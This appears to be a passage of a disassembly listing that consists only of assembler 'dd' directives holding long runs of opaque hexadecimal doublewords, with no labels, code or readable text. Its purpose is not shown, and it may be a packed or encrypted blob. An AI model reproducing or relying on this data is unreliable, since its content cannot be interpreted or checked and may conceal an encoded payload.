dd 8701C84Ch, 0A7B6D128h, 5960BDE1h, 0D22861C0h, 0FEEE9C40h
dd 816A2F12h, 27E258A2h, 98406C30h, 0B21FFE64h, 0B4094980h
dd 0C840CB96h, 3685C146h, 0A9A07B8Ah, 42F2149Eh, 72C1F04Bh
dd 33EA29C6h, 3052A2D8h, 7B01C5E0h, 0C6B8544Ch, 2EE0E78Eh
dd 0B6F809CBh, 0C800ED0h, 5DD278B9h, 0E4BE8090h, 26465Eh
dd 3EB59EAEh, 9452892Bh, 0E12F01D0h, 71C82106h, 0E4C83588h
dd 5202809Fh, 26C616AAh, 4EC560Bh, 0BC6AA4A0h, 0B5272F38h
dd 0CEA988B4h, 144E0409h, 0B6690BACh, 0C2045C4h, 59843D2Bh
dd 0B04A8524h, 4C3A4D93h, 0DD004723h, 946BA1DFh, 0C82406A2h
dd 0D01B9B86h, 891B890h, 3551AC01h, 52CE43BBh, 9C9A2C34h
dd 3C1D6980h, 0C281C011h, 30CE7934h, 1D3AE838h, 0A38B1D38h
dd 333BEA45h, 90A44009h, 5FB8888h, 0F07B1AB0h, 0C3C402A2h
dd 0B45C6B1Ch, 9096EA89h, 9F27194h, 0C343AA98h, 0F9E8A418h
dd 7426E909h, 7950D964h, 3F921858h, 0F28BAFA5h, 0D802B583h
dd 2E02BC72h, 74A4444Bh, 0E205000Eh, 0A8C0FE6h, 160983ADh
dd 0C57E7368h, 600FC430h, 61120Ch, 0CB36C00Dh, 0EDB28B98h
dd 0BD44B00Fh, 0B40E3235h, 497B063Eh, 2F146D8h, 0C753EC81h
dd 1F8CE779h, 62EC006Ch, 9BCF5C4Fh, 4916090h, 0FA1847D1h
dd 0E1786E0Eh, 0A6952279h, 41DCA0D2h, 56C7A3Ah, 80ABA43h
dd 278098FCh, 465CCC96h, 71ED0052h, 6A1EFE70h, 0C31B037Bh
dd 0BC59892Ah, 65E05388h, 0A17DB303h, 90570E68h, 15D55DBh
dd 480D589Ah, 5414BBh, 4866F349h, 3E09B43Bh, 0A288B3h
dd 60CCD02Dh, 6C3DBC2Ch, 700C5352h, 0CE00B2E6h, 0D369E8EEh
dd 0B5B56DE2h, 4291601Fh, 13CF0480h, 63004F54h, 5D3CA8D2h
dd 9148F42Ah, 4E1611DCh, 3D23382Fh, 0F630B204h, 13C5C888h
dd 1F42C336h, 2B9C4488h
dd 894B879h, 5181B86h, 8FAE75E9h, 0C10E88CCh, 4006983Ch
dd 0D104BE93h, 0ED554000h, 0AEFA6D4Ch, 0DA0E0053h, 0E0AD4FFCh
dd 7F6F39A5h, 72B481B0h, 0A60F3D0h, 4EA37826h, 0C810CBB8h
dd 2C89C057h, 0C972B912h, 98AADC28h, 4676109Eh, 2F7C000Eh
dd 0B565D4CCh, 5EC50706h, 7145F42Bh, 3499DE2Ch, 0BD0589ECh
dd 0C736C3B0h, 0B4A27095h, 0A2BC0775h, 8F7ECCC2h, 1CA73740h
dd 0E602C464h, 0FD8DE379h, 204CC451h, 0F883124Fh, 0C808CBBCh
dd 55E0C052h, 0C6247843h, 0C10B61AFh, 299090A4h, 1D703AA2h
dd 2E82EB00h, 12F00BD4h, 209604B0h, 777CC940h, 6A27019Dh
dd 50B4DF2Dh, 0D5CAE078h, 476D4427h, 60A64434h, 7C2D1E06h
dd 0E05705B8h, 0C07DD00Fh, 4DB9C764h, 0E4B327B0h, 7942C009h
dd 45A55Ch, 4161A664h, 0F6D44136h, 94C104B1h, 0B0592B63h
dd 93A82C79h, 41E01700h, 4E4530E2h, 29A40078h, 524F2E51h
dd 0AE25112Bh, 0F2BC02DFh, 0F2730455h, 30A6E200h, 31008AAEh
dd 0C33EB2BAh, 484E9C28h, 10E8CCA9h, 0CA7A008Ch, 1B9DF196h
dd 7D004928h, 0E8F99C79h, 134841BBh, 4A3E612Bh, 40C4CCA0h
dd 4F11E2B2h, 96F90380h, 20A413F8h, 0FD0E6EA4h, 0A3BF7F09h
dd 7078D322h, 0A0081AEh, 0E92FB01Dh, 5AE7F10Ch, 37983854h
dd 2C363B44h, 92E05E8Ch, 0E0E897A5h, 1873EFFFh, 0D2A00105h
dd 0CCA850DAh, 248CC3ECh, 4D90BB7h, 0BC7D1EE4h, 0E33CC258h
dd 89858D5h, 0ABC93D5Ah, 0AE0E4D0Fh, 763FA56Ch, 6EB46080h
dd 488675C2h, 0EE003C0Fh, 31EC4159h, 4D4FC1F4h, 5823883Bh
dd 0FCAD0800h, 48C82A5Ah, 0BE117491h, 778E0BD0h, 21944825h
dd 6A1084BBh, 9B8CB310h, 0F958F2F1h, 8C44FC34h, 8BDB3500h
dd 38AB3B97h, 71E09092h, 0C9E58054h, 1C467926h, 0B8807C2Eh
dd 86C706D8h, 0A817624Fh, 0B45E1596h, 0F8E03A45h, 0B42A0610h
dd 91A94F57h, 0C216A3FEh, 0FC4238FEh, 6408C3h, 0A048707Bh
dd 2085049Ch, 0D8E0DFADh, 0A43F12ECh, 0BB184902h, 0CB44CC72h
dd 34BA13B2h, 0B9988569h, 8CC0A868h, 2D1C960Bh, 3D0885E5h
dd 4C79447h, 1B8FA300h, 2E4B0095h, 0EC5D1D9Fh, 0E600BC09h
dd 793F9377h, 5B5E2BDFh, 0DBC40F1h, 85189788h, 83143B04h
dd 98D25C09h, 0C0D0CD81h, 0DAA594F0h, 47D6B901h, 0BE01FCC4h
dd 0DC2DE181h, 0DC63FF9Eh, 0C71CFBC1h, 726488DFh, 0A327E30Fh
dd 0EA2A4873h, 7958F1E5h, 29481847h, 16909ABCh, 4C64F3F6h
dd 8CA7B828h, 12D5FB3Eh, 0C804909Eh, 7CB86AF9h, 21C03193h
dd 0CE2FFCC7h, 7DE6CC00h, 9B1C915Fh, 92731E10h, 8EC58575h
dd 5A08B8ABh, 9888FC80h, 80AE022Fh, 0A72A2CB6h, 0B49E745Ch
dd 81B39E08h, 51A09D3Bh, 0A29C2395h, 9A5A3045h, 513E4224h
dd 8FBF5301h, 0C078C4A0h, 58ECA848h, 9247018Ch, 9181FFF6h
dd 0CE0C30D5h, 7FB4A940h, 282B4126h, 0E72780B8h, 97679799h
dd 3A91D09Dh, 41F3EB83h, 6B45FEC9h, 0FAE0F800h, 54995DABh
dd 0ECFC423h, 87183764h, 9E3C1DC0h, 9DB2F2h, 898D6FF0h
dd 8BCB032Bh, 0EE12304Eh, 8F74D0B8h, 5CE688D3h, 0E0082EE1h
dd 0B9093C46h, 0F126D3DBh, 185C715Ch, 209812C8h, 0A36CA4E4h
dd 21A6CA10h, 8BED3C13h, 0C124C80Ch, 6FCB744Ch, 383D3804h
dd 885BF4EDh, 81200A3Ch, 0D154B1AFh, 75391853h, 33920182h
dd 0F72AABA3h, 7C8C3043h, 0A5399496h, 11E09728h, 7DC9835Ch
dd 2E8C88B6h, 38C91B4h, 4B21A330h, 30F5282Ch, 0BE7C1D2Fh
dd 0AC00046h, 0B3016B5h, 7C382585h, 34641801h, 0E24C30CFh
dd 8D0652Eh, 0A0A35C12h, 76303BE2h, 0C21D5BF9h, 0DCDE7E08h
dd 0A70205D6h, 2CF476Ah, 0F88835E4h, 0F1A37A23h, 402E010Fh
dd 2ADC99A4h, 974EEB08h, 9427D0CCh, 51465CF4h, 0A27FC00h
dd 0AEF8BF21h, 10A84648h, 6C25527Ah, 0F3C0286Dh, 316F0F5Ah
dd 7250A142h, 83CA004Ah, 8244023Dh, 0D5893F26h, 5E80E4D4h
dd 0FC64B67h, 8D103E7h, 0A438641Eh, 0B6DB40E8h, 2DF05D49h
dd 454CE662h, 746E7A64h, 0CCEA3F03h, 0CBB065E7h, 5209809Eh
dd 4062ED2Bh, 0BD496654h, 9300303Dh, 9895F84h, 4FA700A5h
dd 0B58DC816h, 8BB7C10Bh, 0C360ED8Ch, 63B0121Ch, 0CB0B2AC8h
dd 84EB339Bh, 74B09570h, 0A8960A87h, 10BC9F18h, 0CE3C0B31h
dd 58645381h, 0D91D07E2h, 3E4EBA59h, 0E02C8BD2h, 7A37B54h
dd 633236F0h, 0BC11F4CAh, 4BEA15B8h, 0B2437BD0h, 82949A4Eh
dd 0DE510C33h, 978F60A8h, 0CC58BE95h, 2CBDA470h, 0A000B3A8h
dd 115B5C34h, 4C4BD422h, 48176C54h, 9E54D13Fh, 4CAC0432h
dd 0F26CA2D2h, 0C7F93015h, 9E4F9B06h, 9018A003h, 0F57B99h
dd 27A82426h, 686B422Dh, 34EC4E00h, 47167688h, 2A73010Fh
dd 0BB641454h, 9C08306Bh, 0DC9DCC2Eh, 9244674h, 0C1DD51B1h
dd 74694830h, 9298274Bh, 1512435Dh, 98261130h, 5E3AF220h
dd 6ED8D143h, 0A862A8h, 2795863Bh, 0D11292h, 0D405FDE6h
dd 49BCA01h, 0F08EAF12h, 217E5C04h, 7B3DE342h, 0E2B0A255h
dd 0AC7B0B33h, 3B1F1E70h, 0BB005012h, 5742EAF2h, 83137FE3h
dd 24B4B0B8h, 0FDAB047Bh, 0F20809AFh, 30C3F250h, 3E07E180h
dd 929CE75Bh, 53DC9009h, 0BF77019Ah, 0EC972116h, 10842BB4h
dd 58E18DBh, 2AB8DC42h, 58A82C5Ch, 81EF620h, 422CDA9Ah
dd 0C0EEA43Eh, 4318F974h, 121B7400h, 8F5071C5h, 6084B464h
dd 14DAFC2Dh, 60FC6D95h, 0B65AFCEEh, 2A362D04h, 0C2AF45F4h
dd 0CDE4A9Bh, 524676h, 3E791331h, 121C5864h, 0C80CF5B4h
dd 7BE03480h, 59EB660Fh, 3104C0C8h, 0B8EE8DEAh, 0DF39096Fh
dd 0E8CF2Bh, 0F01C818Bh, 6901985Fh, 94BAB2BEh, 34540C64h
dd 0AAF8DDC1h, 5523502Fh, 5C4F7E02h, 0C1FC89DAh, 9F004100h
dd 4D27FBCAh, 11181D6Dh, 368980AEh, 39B3ACFh, 6AB8A712h
dd 49A22C5Ch, 568028B5h, 77ECB5EFh, 5AC01C71h, 219689D5h
dd 0A2F93820h, 0DD050F60h, 0E01D3B07h, 9B93D4E8h, 688F8094h
dd 2F596BA1h, 0DE762B4Eh, 2875F305h, 2A3AC3h, 15238779h
dd 51F4A25h, 88DAA903h, 0DBF0B1B8h, 0AD7F80E1h, 1F8266Dh
dd 0BE3740B4h, 44039232h, 1CCD62EEh, 7C1DE07Fh, 4D22017Eh
dd 590730EFh, 0A052C63Dh, 0F589A13h, 6110FC1Ch, 7BA02E93h
dd 396A078Ch, 633DDD2h, 2700919Fh, 0B8BE2B49h, 8C8D3Fh
dd 47A069D0h, 0C6E8A695h, 0D430465Ah, 0BEE4AE72h, 3A465EC8h
dd 554BB901h, 31A1DFC1h, 0B04AE21Ah, 0E7580453h, 74961271h
dd 0D395006Fh, 0AAF27909h, 89126896h, 4FDCF4h, 1486DF2Fh
dd 0A4B6D0B3h, 789F1231h, 493B8F2Eh, 0FCF161F8h, 18C9C15h
dd 8CB545C7h, 30809756h, 690CB2Bh, 0F8F6CA61h, 11C81FBDh
dd 998A8027h, 616B3666h, 0CE34801Eh, 28FFE143h, 5CA4C0B4h
dd 1C39C78h, 35252E63h, 686EE0E3h, 2A433C1Ch, 5617B040h
dd 4045FE8Ch, 80A465A6h, 0E721C030h, 0C8D10E61h, 586C3100h
dd 0EF94ED7Bh, 8CA516CEh, 0F3EF1636h, 2CB606CCh, 4B51BC6Ah
dd 237C3E9Dh, 44E401C1h, 7098222Bh, 4B5A6068h, 2FF5A044h
dd 34A84908h, 386B102Dh, 54B6B87Ch, 25AA01Ah, 4CAF98F4h
dd 6876F14Eh, 13BD9B80h, 0FA77D4CDh, 0C1B60BD5h, 0A580D375h
dd 0C3BF9EF5h, 566A1502h, 0A2A386A4h, 0DE8542E8h, 221DDC50h
dd 6DC0EF38h, 2A4B2063h, 1290BC51h, 30740204h, 0D85115F7h
dd 64EC4525h, 218A6057h, 0E8B601A8h, 7CB352BEh, 238C405Eh
dd 0E295BAFAh, 61A07E30h
dd 0DB06C343h, 1379182Dh, 0F6769814h, 0D2F10032h, 2AFB538h
dd 9400F816h, 0C03DC3AEh, 0F4DB9C5h, 413EF346h, 40E14A4Fh
dd 0C4DD22BDh, 676EBC78h, 12A36308h, 2EE598BAh, 514600F6h
dd 0DCAC2A5Dh, 30F1B2F2h, 4238B92Ch, 0CBE31D88h, 0A3BD9F03h
dd 3B083390h, 0C76321h, 5D7729F3h, 8659E500h, 9BCBD94Eh
dd 1C8A00F1h, 0CD2B5F56h, 6F0FA3EFh, 0E74376FAh, 0B940522Ah
dd 0D93D22h, 0EED87C7Dh, 7F60469Eh, 10EB9D74h, 37DF11Fh
dd 3147CB2Ah, 19004D2Bh, 96AE9DDEh, 4F76C3h, 0F701B21Eh
dd 446024CCh, 3CA6B618h, 0CC9DD28h, 3FF578BAh, 0E7009311h
dd 2E2A7B05h, 66C25166h, 21AF08FEh, 5CF7D07h, 6B502808h
dd 0C291EDCCh, 47B202C8h, 696FC05Dh, 0DF3B01E7h, 0BAC8FF19h
dd 0E2304893h, 2A880508h, 40AEC4D6h, 6905CA82h, 6EC63A67h
dd 6392A0E4h, 2A85D8E1h, 730187FEh, 0F38905C9h, 0A853CFC8h
dd 0D69E88h, 2A5AE7FEh, 0B0F866A6h, 8E8D31CEh, 340A80BAh
dd 0F2EA03h, 0EFC1B2DEh, 5304F6A9h, 0A4217306h, 0E89099h
dd 4D3B0F34h, 0A6519139h, 226A4B02h, 0B0CE4377h, 117DD6DCh
dd 88C6D87Fh, 0EE948144h, 2216C17Dh, 1CED232Ch, 0CBD8047Bh
dd 233D6260h, 0D2808388h, 0C1EABE5h, 0F280FC41h, 4E20D679h
dd 0A3CD0930h, 30109D71h, 0A40C805Eh, 40DECE3Ch, 5BC1B73h
dd 94E42096h, 23602B3Ch, 0E841033Ah, 23D8BD33h, 0DC5019DEh
dd 64917720h, 1B184479h, 0AA1228F8h, 4C3A11CEh, 0BF079923h
dd 6280210Ah, 1E04B70Dh, 9333EF5h, 0F42E4B83h, 128099E0h
dd 960313D5h, 863A3F30h, 17A6A331h, 78FF21h, 0BE7B76E4h
dd 5601263Ch, 83B92B9Ch, 0DFCA47Dh, 3FF61238h, 0DA740A47h
dd 0E84508B8h, 1F30E209h, 8096117Ch, 5253B801h, 0EE79002Ah
dd 0DA12D27Ah, 8EF09C73h, 954A60C6h, 0AA900A9h, 72898AF6h
dd 0D2399BD1h, 0F5E1948Dh, 0E0C046E8h, 0C22B18h, 0A59B5948h
dd 646074F8h, 3100977Eh, 2A7AE73Ch, 29CA895Bh, 11F44275h
dd 7DD580CFh, 8CCED880h, 934744h, 914E7DEDh, 0E41B030Bh
dd 88DA6A26h, 0E1EBB23Ch, 1B312094h, 5B00845Fh, 866FC232h
dd 2F47FE9h, 0A65D0BFBh, 884A4982h, 9265C002h, 237BC003h
dd 0DB00C999h, 7ED87A7Dh, 6068919Dh, 0B17DF31Dh, 29E03Ah
dd 8E38E70Ah, 34A4085Dh, 0CE69323Fh, 0C1378800h, 0FAF88644h
dd 0D0E2F4A7h, 49667B83h, 0AD3918E6h, 3B43DB2h, 277339D1h
dd 0F1682363h, 0E404871Ch, 3A6280CBh, 878F8423h, 8F2A07Fh
dd 62D25161h, 8E5B7197h, 0FDC0A8A0h, 0F00E139h, 43507217h
dd 0F28A5Ch, 3A0BDA4Ch, 0A4308C87h, 0E381C100h, 0D151BE01h
dd 40BA60DEh, 3CDB172Ah, 0CC587C9Ah, 168A8120h, 18852E93h
dd 951DC421h, 941D6Ch, 24A9927Bh, 4C6EB52h, 0DE3948h, 4F81BAD2h
dd 8D257013h, 0B7032B77h, 0B0F32641h, 9765E924h, 0C1293980h
dd 2B5AC468h, 20D0E937h, 0A9AF0BC0h, 10EB6F40h, 0A219EE8Ch
dd 490E4300h, 0F05A0F9Ch, 3EFD018Eh, 0DB1FEC67h, 33028670h
dd 0C31E4D2h, 3D812D72h, 127FAF80h, 88E783Eh, 1274818h
dd 0A87B44B0h, 0C7A070FBh, 95A5B419h, 21811808h, 0C5A88367h
dd 8DB1F44Dh, 3580FE50h, 58DCFBB8h, 6548641h, 0B5ECCB58h
dd 0E3DC0227h, 0B11AFFEh, 0EAF02D60h, 6C4FE0C3h, 3F970B2h
dd 1D707163h, 480E3121h, 99E19CA5h, 0DE39B60h, 5535EC28h
dd 885C0B89h, 0B924C01Ah, 3518D1D5h, 8A682EA9h, 5F783CCBh
dd 98E43818h, 115EB6Ch, 0B8530Dh, 5D732232h, 19942EC9h
dd 826D128h, 9121803Eh, 0C672731Ah, 83AA00F7h, 25A7093Dh
dd 0B92835DFh, 0CA06802Bh, 0B3938424h, 5E9000F1h, 58292113h
dd 3133E736h, 1C60868h, 1356F221h, 41347B99h, 31A49A4h
dd 0DB38D15Fh, 5DC9A883h, 18282E51h, 1A468840h, 0F9A87902h
dd 19318DADh, 0A8816510h, 710CC47Dh, 192A2BECh, 0B5D414AFh
dd 6A00BC95h, 0D53E5E4Fh, 8CA785F3h, 93603B44h, 6100A892h
dd 0B6B54B7Ch, 6C99F8Ah, 0EC728483h, 0B01EF12Ch, 320C70FCh
dd 28541126h, 469C0A7Fh, 135F0283h, 31602920h, 57F310C4h
dd 0D0380413h, 91D5CF33h, 80C0927Ch, 41C97E21h, 382BBFB4h
dd 381C7AA9h, 0B7AC0029h, 85652EDAh, 91F0A000h, 0B0117349h
dd 0E7EA3159h, 0D8FDCB49h, 0CC28727Ch, 0F4669048h, 721E108h
dd 5FE80526h, 0CAF5703Bh, 0CCA72F8Ch, 5F601B44h, 59087805h
dd 580DD0h, 96230424h, 2BE6C770h, 362AFD04h, 8033F9h, 146D0DD1h
dd 0D4035F83h, 1D010623h, 0F6C96273h, 98884718h, 35732E15h
dd 33943A7Fh, 67B09CCCh, 0F800E2EAh, 0E4288E47h, 117A776h
dd 461ACAF4h, 0DA3402F2h, 0B8083464h, 7453D1Dh, 313C7863h
dd 0F1D271A1h, 33F0249Dh, 31C3D671h, 0CC414570h, 99490D06h
dd 6DA5291Dh, 13239B80h, 2604CD86h, 146BEE2Bh, 1623AC71h
dd 0FDA87D01h, 1E186DADh, 856988h, 0A1DD72A8h, 0B22293E1h
dd 4D2D710Ch, 199F913Eh, 31284B80h, 7A44224h, 11731C30h
dd 88FEC963h, 14978045h, 4C0D873h, 23DB3100h, 0B8A92DFBh
dd 852C98E9h, 6747C428h, 7532CD21h, 90581F4h, 5ACF361Eh
dd 61858C04h, 29FD1361h, 10C731D6h, 0FA1359F5h, 0FF4F0063h
dd 0DF911F04h, 8098B010h, 600A7978h, 0AC93DB54h, 1908C424h
dd 0D4B10725h, 5702B28Bh, 87E18846h, 0C35D2002h, 406C8922h
dd 0CC448150h, 45211608h, 0F7C35500h, 0C083E4F1h, 0BD8B0005h
dd 7FA0B9Dh, 7607BE90h, 5077C40Fh, 0EE85211h, 0BBB63B80h
dd 743B1958h, 201F7A00h, 41F32BE7h, 0F2AC0CCh, 5F585A31h
dd 0E49005A1h, 767C98Dh, 40C6A5Ch, 3E82857h, 0C35F3957h
dd 887C8911h, 57478014h, 0B5039EC3h, 2416C929h, 59875111h
dd 4C8922C3h, 41101531h, 0E802C351h, 0E995FFD0h, 5225852Bh
dd 0C35A2321h, 8C5489C8h, 7421D44h, 352AC352h, 0E9C5A048h
dd 753A4D3Fh, 250CB03Ah, 0D8B817h, 1546BE1Fh, 8E4C0FA0h
dd 9D8D2702h, 97FDD711h, 8514913Ch, 0D604572Fh, 5E010D7Dh
dd 0C5FFB70Fh, 555291D3h, 17F20394h, 73A33F30h, 0BD230CDAh
dd 89561F39h, 1D259D18h, 0DFE8B0Ch, 104985FFh, 88DF0E10h
dd 92BDC019h, 97002645h, 43A9BFFEh, 20E97E78h, 0E86E087Bh
dd 815D002Fh, 12EF9EDh, 0C7BE07FEh, 0EC014918h, 239219BDh
dd 2CC3D07Dh, 0F665860Fh, 0B5290C0Ch, 9DB51CB9h, 0C0CC530h
dd 70815E53h, 8429DFE3h, 5D1BE1B5h, 11E4988h, 850FDB0Bh
dd 7408C2A6h, 232000D6h, 0E16C8417h, 2533BD33h, 0B1835E05h
dd 0D4B12D06h, 813584B8h, 0B5895139h, 288513E5h, 489CE95Fh
dd 5BC35341h, 5C8991C3h, 43831123h, 5EF6C353h, 19890644h
dd 5C27B185h, 4288DAC7h, 0BE00B886h, 27315B9Ah, 79D460E9h
dd 8C1BE824h, 0F4EBA50Eh, 36CA9D65h, 0A90AAE98h, 35CD3D16h
dd 1DC8DF4Eh, 3FB9B6C1h, 6DFA2E8h, 63D7420Eh, 55206C50h
dd 8D5F292Bh, 5666B2FFh, 0E4C35E30h, 22744689h, 5646001Ah
dd 931896C3h, 7B00163Bh, 0A7CF81D3h, 0EC03397Eh, 89FF4823h
dd 505CC873h, 91C358C3h, 1C184489h, 504088h, 0F98AF4C3h
dd 52DD3D7Ch, 0BEF85E31h, 6F071F75h, 0DB8C6600h, 450C3F6h
dd 0B78B3EE6h, 660D38CFh, 28D226BFh, 10A50C65h, 9014F33Dh
dd 929A800Fh, 5C62DE5Fh, 4D0401FFh, 0D1A254C8h, 8705E9D1h
dd 3678D61Fh, 0DBC17A74h, 98919050h, 2DE91859h, 0E47BF7Dh
dd 0B0616E9Bh, 0BDB53301h, 60249229h, 8151A010h, 9E8A68Eh
dd 0D0051380h, 0D398761h, 0F7AF2603h, 0D05FEF8Ah, 6070E6h
dd 0DE24FFBEh, 77E1811Eh, 7D0A461Fh, 1D71E4C9h, 0C019114Ah
dd 162391E3h, 29CEC453h, 70AB100Eh, 7C816688h, 294A7BD7h
dd 0D1EBD8B6h, 7A1818h, 5A1C0D7Fh, 9DE68160h, 86D5A83Eh
dd 235D8D89h, 8B610476h, 9F06BAF7h, 2E2893B4h, 40DDB003h
dd 70B08B18h, 0C6310860h, 610537h, 6E94BBA2h, 4797CE81h
dd 5E0B3902h, 4704E8C1h, 61154490h, 0F7C466B4h, 0C462A5E2h
dd 9B9A6018h, 2DED0E10h, 2E899589h, 570F2029h, 0F050648h
dd 0D2300587h, 22CF7AF6h, 8D912B61h, 0D181C71h, 4A507107h
dd 0C28E1DF6h, 90880FBEh, 34B50BC7h, 17C32D1h, 29241CDCh
dd 168B728Dh, 4025B5FFh, 0C08C9B30h, 857124C8h, 1DBD0C30h
dd 1920952Dh, 35017E10h, 90C2F5Dh, 7708F899h, 1B465C61h
dd 0BEBCFC03h, 71A84CC5h, 8A6E0F31h, 37E40F21h, 0DA13AD6Fh
dd 0B71220E9h, 0A61EEA0Eh, 3CC013FCh, 2F830F61h, 8E1ED402h
dd 8C1DE8h, 0B4B564B3h, 75ACBFA4h, 66DA2312h, 58B98615h
dd 8C1AE885h, 798CB700h, 3401722Dh, 0E589520Fh, 0B5109058h
dd 9B75316h, 0C5EFC51h, 92F97C91h, 78439B80h, 5BFEE14Dh
dd 0F53EAD1Ch, 92168D8Fh, 30B9C504h, 0BFAF0412h, 2E9394F3h
dd 0F1C2371h, 26C0CB50h, 61DAE570h, 9BA1697Bh, 6082215Fh
dd 2FF01D2h, 11649758h, 72DA801Ch, 1289E198h, 1371A916h
dd 60411AECh, 1338E82h, 15C45567h, 0F591C160h, 22B984A9h
dd 0BE661231h, 1CC34C11h, 8107C183h, 6BD040EFh, 0B8D93B09h
dd 14F55DECh, 0F41F74F8h, 9B016E7Ch, 71B77B2Ah, 0E7EDE720h
dd 0A1120405h, 0B8021311h, 24C1F6D9h, 0BD8941B3h, 18421659h
dd 6C31EA09h, 0FA0B48BAh, 8100BF49h, 3E5E80C6h, 32C45B5Ah
dd 2B0434D1h, 88B5CEC3h, 0AAE2C019h, 0FA2CE14Bh, 0A11A26A9h
dd 759C4085h, 343D8025h, 8849084Ah, 0C4604754h, 0F86A601Bh
dd 299E3A0Ch, 0E144512h, 7D10ED33h, 5F2AE934h, 1D23672Eh
dd 0F8936700h, 2DBD0BFh, 0CCA76ABEh, 64AC08Bh, 7AF3CE8Eh
dd 0E2E90E08h, 8DC6605Ah, 4985C7AEh, 33078F19h, 0E41A6341h
dd 0E73400Dh, 1C0B318Eh, 8F9C8FD9h, 7AEDC539h, 0A273238Eh
dd 8BCE301Ah, 0B4F00D01h, 0D681A2B1h, 4BD783E0h, 855D387Dh
dd 0BF413060h, 3D583836h, 15D1FF57h, 18887C4Eh, 0A1A5A9C0h
dd 9AEB58ABh, 6C21DE0Bh, 775B5D32h, 0A9EE70h, 0FDCF11F9h
dd 2A7187E9h, 0A5607090h, 0D989BF57h, 7D4A5951h, 0AFBCA491h
dd 0D6B23B01h, 9056055Ah, 14A23E33h, 60E80530h, 0A9951313h
dd 3A004436h, 1B086468h, 171CB8h, 52E3D057h, 8918DED4h
dd 7505B524h, 5A0E5F9Ah, 20ED9887h, 810315B1h, 852503D7h
dd 2D0C0465h, 8E4BBBA1h, 0C01D88B7h, 13A289B5h, 5D117702h
dd 600AB38Dh, 8001853Bh, 7D20B533h, 28297628h, 54492495h
dd 0A0E9B399h, 0F6D777Dh, 7D7AE2C9h, 882BAE40h, 4301015Bh
dd 0E0DE2CD3h, 78EAE366h, 602340F6h, 0F79D8EFh, 0B510679Ah
dd 0E82C21C1h, 0A567409Dh, 0C607EBDFh, 0D9958B2Fh, 356D910Bh
dd 945B4998h, 6181298Dh, 16A25F23h, 4D917430h, 4C7807EEh
dd 16E8335Fh, 0D088188Ch, 18D190EAh, 38CCE980h, 80C8FFF7h
dd 288C15E8h, 209BDFC4h, 6A980D55h, 1B3A70E9h, 0CF305689h
dd 701D417Dh, 5E126858h, 80D0E95Fh, 50DB32h, 77B7D1B4h
dd 0C18BAFA5h, 0D7CEBE01h, 4EB6B2Bh, 0E4B067C2h, 761F6018h
dd 1296E2CAh, 0C851F08Bh, 4FB0F2BEh, 0DA9AD506h, 617C5AA0h
dd 858DA0F3h, 90382499h, 2020534Bh, 34977BBh, 0A79412FBh
dd 30715146h, 0EE905031h, 0F4222D11h, 3706E918h, 590BAA28h
dd 470B9E1Eh, 601964D3h, 1273A2Dh, 0BE7907EFh, 42229D46h
dd 6D7986BCh, 0C461423Dh, 0DAFE38E8h, 0C18068D8h, 961C65E7h
dd 52936050h, 8E34FF30h, 0FCF1007Fh, 0D1FD47A4h, 0BBF673DEh
dd 66310F00h, 5A1CF8BFh, 89610058h, 0F0BE2404h, 126936AFh
dd 298C62CEh, 11741D7Eh, 5C0C8216h, 8045D9F3h, 1373EE81h
dd 15B60A11h, 41164DE9h, 84F774F6h, 87425E24h, 2210087h
dd 0AE2C219Dh, 99A4BEC0h, 22B656E2h, 9164676h, 64766282h
dd 22F0123h, 0B1D28087h, 0C51F6C90h, 0F9A34DE9h, 1238F284h
dd 1C23A53Ah, 7C6AE506h, 0E3E00B1Eh, 918BA622h, 1ED1176Ah
dd 52545BE4h, 0A8C1BE8h, 0A2CD83E3h, 93E91777h, 0CBB85693h
dd 4E0091D4h, 10A070BBh, 4C4312F8h, 212DB85Ah, 0BF6D0B89h
dd 0D95905C2h, 0B19A669h, 636620CDh, 7A608A44h, 10DC9E9h
dd 3B038500h, 4801E3A6h, 8BF81CCBh, 7238898Dh, 8260611Ch
dd 3778BD83h, 4B1356D9h, 1B234B3Fh, 0D7E42300h, 0D823285h
dd 50E91D7Ah, 0C06D5B21h, 48A7B6DDh, 8D2E171Fh, 0B0F61A86h
dd 50A46CD1h, 1324DD08h, 829324E9h, 1893F7DCh, 3BE5784h
dd 890C4E78h, 3517EDF9h, 3DD61D2Ch, 63A841h, 7E59CAAFh
dd 2DBD03E1h, 24682741h, 0A50E60CBh, 0E852A03Fh, 53761FD8h
dd 489DB280h, 1ECD775h, 0DC800234h, 6C615E7Bh, 0A2985314h
dd 26D3018h, 229A4D16h, 968F34C8h, 15467C1Dh, 1A0B6627h
dd 0BE040044h, 10E94948h, 0C320AA4Eh, 0F3133EA3h, 643B2900h
dd 737C47BDh, 65175B72h, 88838D66h, 1F25990Ch, 50FB4990h
dd 0B7CBDF0Bh, 0BC48DB2h, 906442BEh, 6FE08BE6h, 50245CBh
dd 0C1F56377h, 0A5B1418Fh, 312683ACh, 91B0F851h, 6007087Fh
dd 89698529h, 70E6A721h, 0C0AC490Fh, 714BE4F9h, 700CD6Eh
dd 3C8EB3B1h, 0EB6205E1h, 916F994h, 4046A4C2h, 33452100h
dd 8FFF958Ch, 0FD901CE2h, 3F2D4274h, 0BF4706BAh, 36015E4h
dd 6CE98B38h, 8C14F820h, 830F4B12h, 0F2C91561h, 0E918963Ch
dd 0DA0D190Ah, 0EFACF900h, 414662B2h, 0D82B2EA9h, 0E902DEE2h
dd 0F5693A3h, 0F505E48Ch, 1C8DD48h, 0A45F76DAh, 7084DFB8h
dd 8B056673h, 8E0F93FEh, 0A4EC141Eh, 423D4B0Fh, 5BFC5E10h
dd 0D69FA6AFh, 7ECBD214h, 1C2CC0DFh, 0F89C6B8Bh, 447704D0h
dd 0C4A614B5h, 48B0A308h, 7B093572h, 3524501h, 564E5B5h
dd 0A03F905Eh, 14096038h, 1B0EB1BDh, 615A6D22h, 6862F148h
dd 1D465461h, 8F5BDE00h, 494BB20Eh, 32F77716h, 0E08C4316h
dd 9F3324DEh, 4017AE55h, 0C4614F63h, 4D399924h, 465CF1E8h
dd 9D40119h, 27EAA991h, 9BF5120h, 24F9B874h, 5C2B5628h
dd 5E041746h, 0C1573523h, 52711D2h, 92580D14h, 5889D4DBh
dd 0BF1AFB81h, 9032E8h, 0D7F44D8Ch, 0B91B1D5h, 297AF661h
dd 0F29FA64h, 34249180h, 2D220908h, 0DF810800h, 9417AA37h
dd 7F045845h, 0D2130869h, 0E92470E7h, 0FC8DE4h, 0CFF70ADBh
dd 0AB8EA803h, 0E6437E00h, 8FBABF42h, 26ED7477h, 7E1907B9h
dd 0CE001A46h, 0AD5CE6B5h, 0F7904569h, 78F462Dh, 0FDE401FDh
